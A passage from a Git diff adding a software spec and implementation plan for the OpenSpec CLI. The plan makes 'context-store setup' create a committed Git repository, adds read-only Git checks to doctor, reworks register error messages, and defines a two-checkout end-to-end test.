+ +- **GIVEN** `store setup` with `--remote` against a path whose + `store.yaml` already exists +- **WHEN** setup runs +- **THEN** it fails with a fix naming the hand-edit path + ("Edit <abs path>/.openspec-store/store.yaml and commit it") + +### The Surfaces Use It + +#### Scenario: Doctor Shows Both Remotes + +- **WHEN** doctor inspects a store with a canonical remote and an + origin +- **THEN** JSON carries `metadata.remote` and `git.origin_url` +- **AND** human output shows one Remote line preferring the canonical + value +- **AND** stores without remotes show no Remote noise and raise no new + diagnostics + +#### Scenario: The Unresolved Reference Names The Clone Source + +- **GIVEN** an app repo declaring + `references: [{id: team-context, remote: <url>}]` and no local + registration +- **WHEN** instructions run +- **THEN** the `reference_unresolved` fix is + `git clone <url> <home>/openspec/team-context && openspec store register <home>/openspec/team-context --id team-context` + with `<home>` rendered as the absolute home directory +- **AND** a plain-string reference keeps today's fix +- **AND** both reference entry shapes index identically once the store + is registered +- **AND** `[team-context, {id: team-context, remote: <url>}]` indexes + as one entry whose unresolved fix carries the remote +- **AND** a map entry with an invalid id degrades as + `reference_invalid_id`, its remote ignored + +#### Scenario: Sharing Guidance Names The Remote + +- **GIVEN** a store whose `store.yaml` records a canonical remote +- **WHEN** setup or register prints its sharing next-steps +- **THEN** the sharing line names that remote as the clone source +- **AND** a store with no canonical remote but an observed origin + names the origin instead (the fallback half of decision 1) +- **AND** a store with neither keeps today's wording + +### Onboarding End To End + +#### Scenario: Clone-Register-Continue From The Printed Fix + +- **GIVEN** fresh machine state, an app repo declaring `{id, remote}` + where the remote is a local-path Git remote (no network in tests) +- **WHEN** the e2e test runs instructions, executes the printed clone + command and register, and reruns instructions +- **THEN** the first run degrades with the clone-source fix, the + printed commands succeed verbatim, and the rerun shows the resolved + index with the store's specs diff --git a/openspec/work/simplify-context-and-workspace-model/slices/store-lifecycle-proof/plan.md b/openspec/work/simplify-context-and-workspace-model/slices/store-lifecycle-proof/plan.md new file mode 100644 index 0000000000..0919737064 --- /dev/null +++ b/openspec/work/simplify-context-and-workspace-model/slices/store-lifecycle-proof/plan.md @@ -0,0 +1,443 @@ +# Standalone Store Lifecycle Proof Plan + +## Status + +Spec locked 2026-06-11 (including same-day review findings: tracked +placeholders, Git identity preflight, interactive location prompt, and the +enumerated second-checkout journey). Plan drafted 2026-06-11. Implementation +not started. + +This plan implements `spec.md` for slice 1.3. The main product move: + +```text +Setup leaves a real, clonable Git repo, and the proof is a two-checkout +journey against the built CLI. +``` + +## Source Of Truth + +Start from `spec.md`. + +Also keep nearby: + +- `../../goal.md` +- `../../roadmap.md` +- `../store-root-parity/spec.md` (root shape, doctor, setup/register safety) +- `../store-root-selection/spec.md` (selector semantics, root reporting) + +Sequencing: this slice changes setup behavior from slice 1.1 and hint/banner +behavior from slice 1.2, so it must stack on that work. The whole roadmap +is being built on the single `codex/store-root-parity` branch (PR #1190), +whose tip already contains both prerequisite implementations — implement +this slice directly on that branch. Merge to `main` is deferred until the +work lands as a whole; the old `codex/store-root-selection` branch is a +stale ancestor of the tip. + +## User-Facing Frame + +What the human wants: + +- "Set up our planning repo at a path I chose, and have it actually be a + repo — clonable, shareable, no hidden half-made state." +- "When my teammate clones it, register should just work." +- "When something is off, tell me what and how to fix it; don't loop me + between errors." +- "Never strand me: every hint you print should work if I paste it." + +What the agent needs to know: + +- Whether the store repo has commits, uncommitted changes, and a remote + (doctor facts, read-only). +- That following any printed hint preserves the selected store. +- That setup fails before creating anything when Git identity is missing, + with the exact fix. + +How the user knows it worked: + +- A clone of a freshly set-up store registers without ceremony. +- The journey test passes against the built binary with isolated global + state, ending in nothing but normal OpenSpec files. + +## Goals + +- Flip `context-store setup` Git defaults: init on by default, initial + commit of exactly the files setup created, tracked placeholders in + otherwise-empty store directories. +- Require an explicit location: `--path` in non-interactive/JSON mode; an + interactive prompt whose editable suggestion is a user-visible path. +- Preflight Git commit identity before creating anything. +- Add read-only Git facts to doctor (commits, dirty, remote) with a + commitless-repo warning. +- Make register errors terminal and explanatory (one-checkout-per-id rule, + `unregister` escape, named missing root pieces, empty-clone hint). +- Hint and banner continuity: hints carry `--store <id>`, banner prints on + post-resolution failures, `new change` names a next command, `status` + drops the `Planning home` line. +- One chained two-checkout journey test in `test/cli-e2e/`. + +## Non-Goals + +- No clone, pull, push, sync, branch, worktree, or orchestration behavior. + `git init` plus one initial commit at setup is the entire Git write + surface; doctor reporting is read-only. +- No doctor repairs or `--fix`. +- No multi-checkout registration support for one store id per machine. +- No `view` changes (Phase 4), no agent guidance or help one-liners + (slice 1.4), no terminology renames (L7), no archive browsing (L11). +- No retrofit of placeholders into stores created before this slice, and no + change to `openspec init` baseline roots (their clone fragility is an L9 + baseline quirk, out of scope here). +- No public docs rewrites. + +## Current Code Map + +Setup, register, doctor internals: + +- `src/core/context-store/operations.ts` (916 lines) owns setup/register/ + doctor operations. `initGitRepository` (line ~277) runs `git init`; + `input.initGit ?? false` (line ~472) is the default to flip. Today + `.openspec-store/store.yaml` is written inside + `commitContextStoreRegistration` (`writeMetadataIfMissing: true`, + line ~483) — *after* Git init — so the metadata write must be decoupled + and moved before the new commit step, or the initial commit will not + contain `store.yaml` and clones will hit the register conversion prompt. + Register errors live here: `requires an existing healthy OpenSpec root` + (line ~555), metadata id mismatch (line ~569), and `already registered at + this path` (line ~190). Git inspection currently reports only + `isRepository`. +- `src/core/context-store/registry.ts` raises `already registered at + <path>` (line ~99) with the circular "choose a different context store + id" fix text, and `path is already registered as '<id>'` (line ~110). +- `src/core/context-store/foundation.ts` provides + `getDefaultContextStoreRoot` (XDG data dir + `context-stores/`), used as + the silent default path and the interactive prompt suggestion. +- `src/commands/context-store.ts` (738 lines) is the command surface: + `resolveSetupInput` (line ~287) only errors non-interactively when the + *id* is missing — the path silently defaults; `promptContextStorePath` + (line ~276) already prompts interactively but suggests the XDG data path; + doctor human/JSON mapping (`is_repository`, line ~67/146/474); next-steps + output (line ~424). + +Hint, banner, and status surfaces: + +- `src/core/root-selection.ts` has `emitStoreRootBanner` (line ~300) and + the shared resolver from slice 1.2. Banner emission currently happens on + command success paths; the spec requires it after successful resolution + even when the command then fails. +- `src/commands/workflow/status.ts` prints `Planning home: <label>` + (line ~131) and the storeless hint `No active changes. Create one with: + openspec new change <name>` (line ~75). +- `src/commands/workflow/shared.ts` throws storeless hints at lines ~148 + and ~169 (`No changes found. Create one with: openspec new change + <name>`). +- `src/commands/workflow/new-change.ts` prints the created-change output; + it already knows the schema, so it can name the first artifact's + instructions command as the next step. + +Test harness: + +- `test/helpers/run-cli.ts` spawns the built `dist/cli/index.js` with cwd + and env injection. +- `test/cli-e2e/basic.test.ts` shows the e2e pattern (mkdtemp fixtures, + `runCLI`, afterAll cleanup). +- `test/commands/context-store.test.ts` covers setup/register/doctor and + asserts current defaults (silent XDG path, git off) — these assertions + change. +- `test/commands/store-root-selection.test.ts` (32 tests) covers selector + semantics; hint/banner changes touch a few of its expectations. + +## Setup Implementation Plan + +Order of operations inside setup (replaces the current create-then-init +sequence): + +1. Resolve input. Non-interactive or JSON without `--path` fails with new + diagnostic `context_store_setup_path_required`, naming example `--path` + usage. Interactive without `--path` prompts (existing prompt), with the + editable suggestion changed from `getDefaultContextStoreRoot(id)` to a + user-visible path such as `~/openspec/<id>`. Setup never silently picks + the XDG data directory. +2. Existing safety checks (unsafe folder, nested Git) unchanged. +3. Git preflight, only when Git will be used (`initGit` defaulted to true + and not opted out, or the target is already a Git repo and a commit will + be attempted): verify `git` is available (existing error) and that a + commit identity resolves via `git var GIT_COMMITTER_IDENT` and + `git var GIT_AUTHOR_IDENT` — these honor config, `GIT_*_NAME`/`EMAIL` + environment variables, and fail exactly when `git commit` would fail. + Do not use `git config user.*`, which is blind to env-var identity. + Probe cwd: the target directory when it exists, otherwise its existing + parent (safe because nested-Git targets are already rejected, so + repo-local config can only matter when the target itself is a repo). On + failure: new diagnostic `context_store_git_identity_missing` naming the + exact `git config --global user.name/user.email` commands. Nothing is + created before this point. +4. Create all in-store files: the root shape, a tracked placeholder file + (`.gitkeep`) inside `openspec/specs/` and `openspec/changes/archive/` + when they end up empty (whether setup created the directories or first + accepted an existing healthy root with empty ones), and + `.openspec-store/store.yaml` when missing. This requires restructuring: + today the metadata file is written inside + `commitContextStoreRegistration` (`writeMetadataIfMissing: true`, + operations.ts line ~483), i.e. *after* Git init — write it explicitly + in this step instead, so the commit in step 5 can include it. A clone + without committed `store.yaml` would hit the register conversion + prompt instead of registering without ceremony. All created files, + including placeholders and metadata, join `created_files`. +5. `git init` when needed, then an index-preserving pathspec commit + (`git add -- <pathspecs>` followed by `git commit -m "Initialize + OpenSpec context store <id>" -- <pathspecs>`). The commit set depends + on who owns the repository: when setup initialized it, the pathspecs + are the full store shape (`openspec/` plus `.openspec-store/`) so a + clone of a converted root is healthy; when the repository pre-existed, + the pathspecs are exactly the files setup created, and the pathspec on + commit is what keeps the user's pre-staged files out of setup's commit + and still staged afterward. Old beta files outside the store shape are + never swept in. +6. Machine-local registry write only, last (with the metadata write now + decoupled from it). The existing failure-cleanup contract from slice + 1.1 (remove only what this operation created) covers the new files; a + `.git/` directory created by this operation is removed on failure too. + +`--no-init-git` skips steps 3 and 5 entirely (no identity requirement, no +commit). JSON output gains nothing new beyond `created_files` accuracy and +the existing `git` block reporting `initialized` plus a new `committed` +boolean. + +Placeholder boundaries: placeholders are created by setup when it creates +the directories or first accepts an existing unregistered root — never by +reruns on an already-registered store (those stay strict no-ops, so +pre-slice stores are not retrofitted) and never by register, which stays +thin and commit-free. Clone-fragile converted or pre-slice stores are +doctor's job to flag (below), not setup's job to repair. + +Next-steps output (setup and register success): keep the `--store` usage +example and add one line: sharing the store is committing and pushing it +like any Git repo. + +## Doctor Implementation Plan + +- Extend Git inspection in `operations.ts` with read-only probes: + `git rev-parse --verify HEAD` (has commits), `git status --porcelain` + (uncommitted changes), `git remote` (remote configured). All three are + nullable when the root is not a repo or Git is unavailable. +- JSON: extend each store's `git` section with `has_commits`, + `has_uncommitted_changes`, `has_remote`. +- Human: surface the same facts on the existing Git line(s). +- Warning status (not error) when `has_commits === false`: clones of this + repo will be empty until an initial commit exists. +- Warning when `openspec/specs/` or `openspec/changes/archive/` exists but + contains no tracked files (`git ls-files` per directory): clones will + lose those directories until they contain a tracked file. This is the + visibility net for converted and pre-slice stores that setup + deliberately does not retrofit. +- Doctor continues to mutate nothing. + +## Register Error Plan + +- `registry.ts` already-registered error: replace "choose a different + context store id" with the one-checkout rule and the escape hatch — + names the registered path and `openspec context-store unregister <id>` + as the way to switch checkouts. +- `operations.ts` id-mismatch error: before suggesting `--id <metadata-id>`, + check whether that metadata id is already registered to another path; if + so, emit the one-checkout guidance instead. Following any register + error's fix text must not land on another register error for the same + situation. +- Unhealthy-root refusal: reuse the root inspection that doctor already + computes to name the missing pieces (config, specs, changes, archive). + When the target is a Git repo with no commits, append the empty-clone + explanation (origin needs an initial commit). +- Register still never commits and never initializes planning files. + +## Hint, Banner, And Status Plan + +- Add a small helper (likely in `root-selection.ts`) that formats a + follow-up `openspec ...` suggestion and appends `--store <id>` when the + resolved root came from a store. Thread the resolved root into the hint + sites: `status.ts` (line ~75), `shared.ts` (lines ~148, ~169), and any + other supported-command hint found by grepping for `openspec new change` + / `openspec ` literals in supported command paths. +- Move `emitStoreRootBanner` calls to immediately after successful + resolution in each supported command entry point, so post-resolution + failures still print it. +- `new change`: after the created-change lines, print a next-step line + naming the first artifact's instructions command + (`openspec instructions <artifact> --change <id> --store <id>` when + selected); fall back to `openspec status --change <id>` if the first + artifact is not cheaply known. +- `status`: delete the `Planning home:` human line; audit status JSON for + workspace vocabulary while keeping the slice 1.2 `root` block as the + machine-readable source of truth. + +## Journey Test Plan + +New file `test/cli-e2e/store-lifecycle.test.ts`, using `runCLI` with two +simulated machines (separate `XDG_CONFIG_HOME`/`XDG_DATA_HOME`/etc. env +sets) and real `git` via `execFile`: + +Machine A (project repo without its own root): + +1. `context-store setup team-context --path <tmp>/store --json` (no Git + flags) — `created_files` exists only in JSON output, so this step runs + `--json` and asserts it there (placeholders and `store.yaml` listed); + repo existence, exactly-one-commit, and committed content (including + `store.yaml` and placeholders, via `git show --name-only`) are asserted + on the filesystem. Human-mode next-steps and sharing-line text is + covered in `test/commands/context-store.test.ts`, not here. +2. `context-store list`, `context-store doctor --json` — healthy, git + facts present, no-remote reported as fact not error. +3. From the project repo: `new change`, `status`, `instructions` (write + artifacts via the test as the simulated agent), `validate`, `list`, + `show`, `archive` — all with `--store team-context`. +4. Assert: change in `changes/archive/`, spec promoted into + `openspec/specs/`, project repo byte-identical (hash the tree before and + after), banners on stderr, stdout payloads clean. +5. Commit machine A's work (the test acts as the user; OpenSpec must not + commit here). + +Machine B (separate global state): + +6. `git clone` machine A's store; `context-store register <clone>` — + succeeds without ceremony; doctor healthy. +7. `list --specs` / `show` see the spec promoted by machine A's archived + change (no archive browsing). +8. Second change through the same lifecycle to archive in the clone. + +End-state assertions: + +9. Both checkouts contain only normal `openspec/` artifacts, + `.openspec-store/store.yaml`, placeholders, and Git state. No + initiative or workspace planning files anywhere, including both + machines' global state; global state holds only registry/config + metadata. + +Test hygiene: set `GIT_CONFIG_GLOBAL`/`GIT_CONFIG_SYSTEM` to isolated +files (or env identity vars) so user gitconfig (signing, hooks, templates) +cannot leak in; configure identity explicitly for the journey, and add one +focused test that *unsets* identity to cover the preflight failure. + +## Other Test Updates + +- `test/commands/context-store.test.ts`: setup now errors without `--path` + non-interactively (was: silent XDG default — my 2026-06-11 probe confirmed + current behavior); git on by default with commit and placeholders; + the initial commit contains `store.yaml`; a pre-staged unrelated file in + the existing-repo case stays staged and out of setup's commit; + placeholders added when first accepting an existing root with empty + dirs; `--no-init-git` opt-out; identity preflight failure creates + nothing, and env-var identity (`GIT_AUTHOR_*`/`GIT_COMMITTER_*`) passes + the preflight; rerun no-op includes no new commit and no placeholder + retrofit; doctor git facts, commitless warning, and clone-fragile + empty-directory warning; reworked register error texts (assert + non-circular fix text). +- `test/commands/store-root-selection.test.ts`: hint expectations gain + `--store`; banner-on-failure coverage (e.g. `instructions apply` with no + changes); status output no longer contains `Planning home`. +- `test/commands/artifact-workflow.test.ts` (or wherever status human + output is asserted): drop `Planning home` expectations; `new change` + next-step line. +- Unit-level coverage in `test/core/context-store/` for placeholder + creation, staged-paths commit, and identity preflight if the logic is + factored into testable functions. + +Run order during implementation: + +```bash +pnpm test -- test/commands/context-store.test.ts +pnpm test -- test/commands/store-root-selection.test.ts +pnpm test -- test/commands/artifact-workflow.test.ts +pnpm run build +pnpm test -- test/cli-e2e/store-lifecycle.test.ts +pnpm test +``` + +## Implementation Checklist + +- [ ] Flip setup Git default to on; add an index-preserving, + pathspec-limited initial commit with a store-naming message and a + `committed` JSON field. +- [ ] Decouple the `store.yaml` metadata write from registration so it + happens before the commit; move the machine-local registry write to + last. +- [ ] Add `.gitkeep` placeholders to empty directories setup creates or + first accepts; include them in `created_files` and the commit; never on + reruns or via register. +- [ ] Add Git identity preflight via `git var + GIT_COMMITTER_IDENT`/`GIT_AUTHOR_IDENT` with + `context_store_git_identity_missing` before any file creation; exempt + `--no-init-git`. +- [ ] Require `--path` non-interactively + (`context_store_setup_path_required`); change the interactive prompt + suggestion to a user-visible path. +- [ ] Add sharing line to setup/register next-steps output. +- [ ] Extend doctor Git inspection and output with `has_commits`, + `has_uncommitted_changes`, `has_remote`, plus the commitless warning and + the clone-fragile empty-directory warning. +- [ ] Rework register errors: one-checkout rule + unregister escape, + registration-aware id-mismatch fix text, missing-pieces unhealthy-root + refusal with empty-clone hint. +- [ ] Add the store-aware hint helper and thread it through `status.ts`, + `shared.ts`, and other supported-command hint sites. +- [ ] Emit the root banner immediately after resolution in supported + commands so post-resolution failures keep it. +- [ ] Add the `new change` next-step line. +- [ ] Remove the `Planning home` line from status; audit status output for + workspace vocabulary. +- [ ] Write `test/cli-e2e/store-lifecycle.test.ts` (two-checkout journey). +- [ ] Update existing context-store, store-root-selection, and workflow + tests for the new defaults and outputs. +- [ ] Run targeted tests, build, full suite. + +## Risks And Guardrails + +- **User gitconfig leakage** is the most likely flaky-test source: signing + requirements, hooks, `init.defaultBranch` prompts. Isolate Git config in + every test that touches Git, and keep setup's own Git invocations free of + assumptions about branch names. +- **Index preservation**: `git add <paths>` followed by a bare + `git commit` would sweep the user's pre-staged unrelated files into + setup's commit. The commit itself must be pathspec-limited + (`git commit -- <created paths>`) or built on a temporary index; test + with a pre-staged file in the repo. +- **Metadata-commit ordering**: `store.yaml` is currently written during + registration, after Git init. If it is not written before the commit + step, the initial commit silently omits it and clones lose the + no-ceremony register path — the journey's `git show --name-only` + assertion is the regression net. +- **Preflight-before-create ordering**: the identity check must run before + directory creation, or the atomicity promise breaks. Keep the 1.1 + failure-cleanup path working for unexpected commit failures (e.g. + gpgsign), including removing an operation-created `.git/`. If the + commit fails after the registry write is reordered to last, no registry + entry exists to clean up. +- **Rerun no-ops**: placeholder creation is tied to setup creating or + first accepting a root, never to reruns on already-registered stores — + otherwise reruns stop being no-ops and doctor's no-repair stance gets + blurry. Doctor's clone-fragility warning, not setup, covers stores that + predate this slice. +- **Hint helper scope**: only supported commands' hints gain `--store`; + deprecated noun-form commands stay untouched (slice 1.2 boundary). +- **Banner ordering**: emitting at resolution time must not double-print + on success paths that already emit it; move, don't add. +- **created_files contract**: slice 1.1 tests may assert exact file lists; + update them deliberately rather than loosening the contract. + +## Done Definition + +- Fresh setup leaves a Git repo with one commit, placeholders, and a clone + that registers as healthy immediately — proven by the journey test. +- Setup without a location fails non-interactively and prompts + interactively with a visible-path suggestion; it never silently uses the + XDG data directory. +- Missing Git identity fails setup before any files exist, with the exact + fix; `--no-init-git` needs no identity. +- Doctor reports commits/dirty/remote facts read-only and warns on + commitless repos. +- No register error's fix text leads to another register error for the + same situation. +- With a store selected, every printed hint works verbatim and failures + still name the resolved root. +- `status` prints no workspace-era vocabulary. +- The two-checkout journey passes against the built CLI with isolated + global state, ending in normal OpenSpec files only, and the full suite is + green. diff --git a/openspec/work/simplify-context-and-workspace-model/slices/store-lifecycle-proof/spec.md b/openspec/work/simplify-context-and-workspace-model/slices/store-lifecycle-proof/spec.md new file mode 100644 index 0000000000..32398d1c08 --- /dev/null +++ b/openspec/work/simplify-context-and-workspace-model/slices/store-lifecycle-proof/spec.md @@ -0,0 +1,388 @@ +# Standalone Store Lifecycle Proof Spec + +## Outcome + +A registered standalone OpenSpec repo provably supports the same basic +lifecycle as an OpenSpec root inside a project repo, including the sharing +path that is the reason standalone repos exist: a teammate or second machine +can clone the repo, register it, and continue the work. + +To make that proof honest, this slice closes the gaps the lifecycle trips +over today: setup that leaves a commitless Git repo buried in app data, +register errors that loop into each other, and command guidance that drops +the selected store mid-flow. + +The proof itself is one chained journey test that drives the built CLI +through both checkouts and asserts that the end state is nothing but normal +OpenSpec files. + +## Locked Decisions (2026-06-11) + +1. **The proof is the two-checkout story.** The journey covers a first + checkout (setup, create, status, instructions, artifacts, validate, + archive, commit) and a second checkout (clone, register, continue the + lifecycle), simulated with isolated per-machine global state. A + solo-machine proof is not sufficient; the sharing path is where the + value and the risk are. +2. **Setup finishes what it starts: Git on by default, initial commit, + explicit location.** `--init-git` becomes the default, setup commits + exactly the files it created, and setup never silently chooses the XDG + data directory: non-interactive runs require `--path`, and interactive + runs prompt for a location even when an id is supplied. A store is a + repo the user places, not app data. Because Git cannot track empty + directories, setup adds tracked placeholder files to otherwise-empty + store directories so a fresh clone reproduces the healthy root shape. + Setup verifies a usable Git commit identity before creating anything + and fails with the exact fix when it is missing, rather than inventing + an OpenSpec-local identity. +3. **Create-time and read-only is the Git line.** Setup may initialize and + commit at creation time. Doctor may report read-only Git facts. Nothing + clones, pulls, pushes, branches, or syncs. Register never commits. +4. **The loop never drops the thread.** With a store selected, every hint + and next-step a command prints includes `--store <id>`, the root banner + also prints on failures once resolution succeeded, and `new change` + names the next command. `status` stops printing workspace-era + "Planning home" language. +5. **Register errors terminate instead of looping.** The already-registered + and id-mismatch errors state the one-checkout-per-id rule and name + `context-store unregister` as the escape hatch. The unhealthy-root + refusal says what is missing, including the empty-clone case. +6. **Explicitly out:** `view` (Phase 4), agent guidance and help-surface + discoverability (slice 1.4), `context-store` terminology renaming (L7), + archive browsability via `list`/`show` (L11), doctor repairs, and + multi-checkout support for one store id on one machine. + +## User Experience + +A human says where their planning repo should live, and one command makes it +a real repo: + +```bash +openspec context-store setup team-context --path ~/src/team-context +``` + +The folder is a Git repository with an initial commit containing the store +shape. The next-steps output teaches the two things the user needs: how to +put work in the store, and the one thing OpenSpec will not do for them: + +```text +Next: run normal OpenSpec commands against this store, for example: + openspec new change <change-id> --store team-context +To share this store, commit and push it like any Git repo. +``` + +A teammate clones the repo and registers it: + +```bash +git clone git@example.com:acme/team-context.git +openspec context-store register team-context +``` + +Because setup committed the store shape, the clone is immediately a healthy +OpenSpec root and register succeeds without ceremony. From then on, both +machines run the same normal commands with `--store team-context`, and every +hint those commands print keeps the store in the loop, so following the +output never strands the user in the wrong root. + +`context-store doctor` tells the Git truth without touching anything: +whether the repo has commits yet, whether there are uncommitted changes, and +whether a remote is configured. It reports; the user (or their agent) +decides what to do. + +## Scope + +In scope: + +- `context-store setup` Git defaults: initialize Git by default + (`--no-init-git` remains the opt-out) and create an initial commit + containing exactly the files setup created. +- Tracked placeholder files (for example `.gitkeep`) in store directories + that would otherwise be empty, so the committed shape survives cloning. +- An up-front Git identity check when setup will commit, failing cleanly + before any files are created. +- `context-store setup` requires an explicit location in non-interactive or + JSON mode; interactive mode prompts for one, suggesting a user-visible + path rather than the managed XDG data directory. +- Setup and register next-steps text that mentions committing and pushing + the repo to share it. +- Read-only Git facts in `context-store doctor` human and JSON output: + commits present, uncommitted changes, remote configured, with warnings + for the commitless-repo clone trap and for store directories that exist + but contain no tracked files. +- Terminal, non-circular register errors for the already-registered and + id-mismatch cases, and an unhealthy-root refusal that names the missing + pieces, including the empty-clone case. +- Register continues to never create commits. +- Hint and banner continuity for the slice 1.2 command set (`new change`, + `status`, `instructions`, `list`, `show`, `validate`, `archive`): hints + carry `--store <id>` when a store is selected, the root banner also + prints on post-resolution failures, and `new change` names the next + command. +- Removing the workspace-era `Planning home` line from `status` output. +- One chained two-checkout journey test in the existing CLI e2e harness + (spawning the built binary with isolated global state) covering setup, + register, list, doctor, root selection, change creation, status, + instructions, list/show, validate, and archive. + +Out of scope: + +- `view` anywhere in this slice; opening the right files together is + Phase 4. +- Generated agent guidance, skills, and top-level help discoverability + (slice 1.4). +- `context-store` terminology renaming (L7). +- Browsing archived changes through `list`/`show` (L11). +- Doctor repairs or any `--fix` behavior. +- Registering two checkouts of the same store id on one machine. +- Clone, pull, push, sync, branch, worktree, dashboard, apply, verify, or + archive orchestration. Setup-time `git init` plus one initial commit are + the entire Git write surface of this slice, and doctor's Git reporting + is read-only. +- Public docs rewrites. + +## Acceptance Criteria + +### Setup Produces A Real Repo + +#### Scenario: Git By Default With An Initial Commit + +- **GIVEN** a missing or empty setup target path +- **WHEN** the user runs `context-store setup` without Git flags +- **THEN** the store root is a Git repository +- **AND** exactly one commit exists, containing exactly the files setup + created +- **AND** the commit message names the context store +- **AND** store directories that would otherwise be empty (for example + `openspec/specs/` and `openspec/changes/archive/`) contain a tracked + placeholder file, because Git cannot track empty directories +- **AND** the placeholder files appear in `created_files` and the initial + commit +- **AND** a clone of the store is immediately a healthy OpenSpec root + +#### Scenario: Committing Only What Setup Created + +- **GIVEN** setup runs against an existing Git repository it accepts (for + example a healthy OpenSpec root missing only identity metadata) +- **AND** the repository has uncommitted user changes, including changes + the user had already staged +- **WHEN** setup creates files +- **THEN** the new commit contains only the files setup created +- **AND** the user's uncommitted changes remain uncommitted and unmodified +- **AND** changes the user had staged remain staged, not swept into setup's + commit + +#### Scenario: Converted Roots Get Placeholders Too + +- **GIVEN** setup first accepts an existing healthy OpenSpec root that is + not yet registered +- **AND** its `openspec/specs/` or `openspec/changes/archive/` directories + are empty +- **WHEN** setup completes +- **THEN** those empty directories contain a tracked placeholder file +- **AND** the placeholders appear in `created_files` and in setup's commit + when Git is in play +- **AND** when setup initialized the repository itself, the initial commit + contains the full store shape (config, specs, changes, identity + metadata), so a clone of the converted store is immediately healthy +- **AND** files outside the store shape (for example old beta files) are + not swept into setup's commit +- **AND** reruns for an already-registered store still change nothing +- **AND** register (including confirmed conversion) still creates no + placeholder files and no commits + +#### Scenario: Opting Out Of Git + +- **GIVEN** the user passes `--no-init-git` +- **WHEN** setup runs against a missing or empty target +- **THEN** no Git repository is initialized and no commit is created +- **AND** the rest of the store shape is created normally + +#### Scenario: Reruns Still Change Nothing + +- **GIVEN** a healthy, already-registered store +- **WHEN** setup runs again for the same id and path +- **THEN** no files change and no new commit is created + +#### Scenario: Requiring An Explicit Location + +- **GIVEN** non-interactive or JSON mode +- **WHEN** setup runs without `--path` +- **THEN** setup fails with an error explaining that a store lives at a + path the user chooses, showing example `--path` usage +- **AND** no files or registry entries are created + +#### Scenario: Interactive Setup Asks Where The Repo Lives + +- **GIVEN** interactive mode +- **WHEN** setup runs without `--path`, even when the store id is supplied +- **THEN** setup prompts for a location +- **AND** the editable suggestion is a user-visible path (for example + `~/openspec/<id>`), not the managed XDG data directory +- **AND** setup never silently places the store in the XDG data directory + +#### Scenario: Missing Git Identity Fails Before Creating Anything + +- **GIVEN** no usable Git commit identity resolves for the setup target +- **AND** setup would initialize Git or create a commit +- **WHEN** the user runs `context-store setup` +- **THEN** setup fails with an error naming the exact `git config` + commands that fix it +- **AND** identity supplied via Git environment variables or other + Git-native resolution counts as usable, exactly as `git commit` would + accept it +- **AND** no files, directories, Git repository, or registry entries are + created +- **AND** setup does not commit using an invented OpenSpec-local identity +- **AND** setup with `--no-init-git` does not require a Git identity + +#### Scenario: Next Steps Mention Sharing + +- **WHEN** setup or register succeeds in human mode +- **THEN** the next-steps output shows `--store <id>` usage +- **AND** includes one line saying the repo is shared by committing and + pushing it + +### Doctor Tells The Git Truth + +#### Scenario: Reporting Git Facts Read-Only + +- **GIVEN** a registered store whose root is a Git repository +- **WHEN** doctor inspects it +- **THEN** JSON output's `git` section reports whether commits exist, + whether uncommitted changes exist, and whether a remote is configured +- **AND** human output surfaces the same facts +- **AND** doctor does not create commits, modify files, or touch the + network + +#### Scenario: Flagging The Commitless-Repo Trap + +- **GIVEN** a store root that is a Git repository with no commits +- **WHEN** doctor inspects it +- **THEN** doctor reports a warning explaining that clones of this repo + will be empty until an initial commit exists + +#### Scenario: Flagging Clone-Fragile Empty Directories + +- **GIVEN** a store root that is a Git repository +- **AND** `openspec/specs/` or `openspec/changes/archive/` exists but + contains no tracked files +- **WHEN** doctor inspects it +- **THEN** doctor reports a warning explaining that clones will lose those + directories until they contain a tracked file +- **AND** doctor does not create placeholder files or commits + +### Register Fails Honestly And Terminally + +#### Scenario: Second Checkout Of A Registered Store + +- **GIVEN** store id `team-context` is registered at one path +- **WHEN** the user registers another checkout carrying the same metadata + id +- **THEN** the error states that one checkout per store id is supported +- **AND** names the currently registered path +- **AND** names `context-store unregister` as the way to switch checkouts +- **AND** does not suggest choosing a different store id + +#### Scenario: Mismatched Id Does Not Point Back Into Another Error + +- **GIVEN** a folder whose `.openspec-store/store.yaml` id differs from the + requested `--id` +- **WHEN** register fails on the mismatch +- **THEN** the error explains that the id comes from the store's committed + metadata +- **AND** the suggested fix accounts for whether that metadata id is + already registered, so following any register error's fix text never + lands on another register error for the same situation + +#### Scenario: Explaining An Unhealthy Or Empty Clone + +- **GIVEN** a directory that is a Git repository without a healthy OpenSpec + root (for example a clone of a commitless store) +- **WHEN** the user runs register against it +- **THEN** the refusal names the missing OpenSpec root pieces +- **AND** when the repository has no commits, the error says the clone may + be empty and the origin needs an initial commit + +#### Scenario: Register Never Commits + +- **GIVEN** register creates `.openspec-store/store.yaml` after confirmed + conversion of a healthy root +- **WHEN** the operation completes +- **THEN** register has created no Git commits + +### Selected-Store Guidance Keeps The Store + +#### Scenario: Hints Carry The Store + +- **GIVEN** a supported command runs with `--store team-context` +- **WHEN** its output includes a hint naming a follow-up `openspec` command +- **THEN** that hint includes `--store team-context` + +#### Scenario: Root Banner On Post-Resolution Failures + +- **GIVEN** store resolution succeeds for a supported command +- **WHEN** the command then fails (for example `instructions apply` with no + active changes) +- **THEN** stderr still includes the `Using OpenSpec root` banner + +#### Scenario: New Change Names The Next Command + +- **WHEN** `new change` succeeds +- **THEN** the output names at least one concrete next command for the + created change +- **AND** that command includes the selected store when one was selected + +#### Scenario: Status Drops Workspace-Era Language + +- **WHEN** `status` reports on a change +- **THEN** the output does not include a `Planning home` line or other + workspace-planning vocabulary + +### One Journey Proves The Lifecycle + +The journey runs in the existing CLI e2e harness against the built binary, +with isolated global state per simulated machine. + +#### Scenario: First Checkout Lifecycle + +- **GIVEN** simulated machine A with isolated global state and a project + repo without its own OpenSpec root +- **WHEN** the journey runs setup, `context-store list`, doctor, then + `new change`, `status`, `instructions`, artifact writes, `validate`, + `list`, `show`, and `archive` with `--store` from the project repo +- **THEN** every step succeeds against the built CLI +- **AND** the change ends in the store's `openspec/changes/archive/` with + the store's `openspec/specs/` updated +- **AND** no files under the project repo are created or modified + +#### Scenario: Second Checkout Registers And Reads What The First Produced + +- **GIVEN** machine A commits its work and simulated machine B (separate + global state) clones the store +- **WHEN** machine B registers the clone, runs doctor, and reads the store + with `list --specs` and `show` for a spec promoted by machine A's + archived change +- **THEN** register succeeds without extra ceremony +- **AND** doctor reports a healthy root +- **AND** the promoted specs are visible without browsing the archive + (archive browsability stays out of scope, L11) + +#### Scenario: Second Checkout Completes Its Own Change + +- **GIVEN** the registered clone on machine B +- **WHEN** machine B runs `new change`, `status`, `instructions`, artifact + writes, `validate`, and 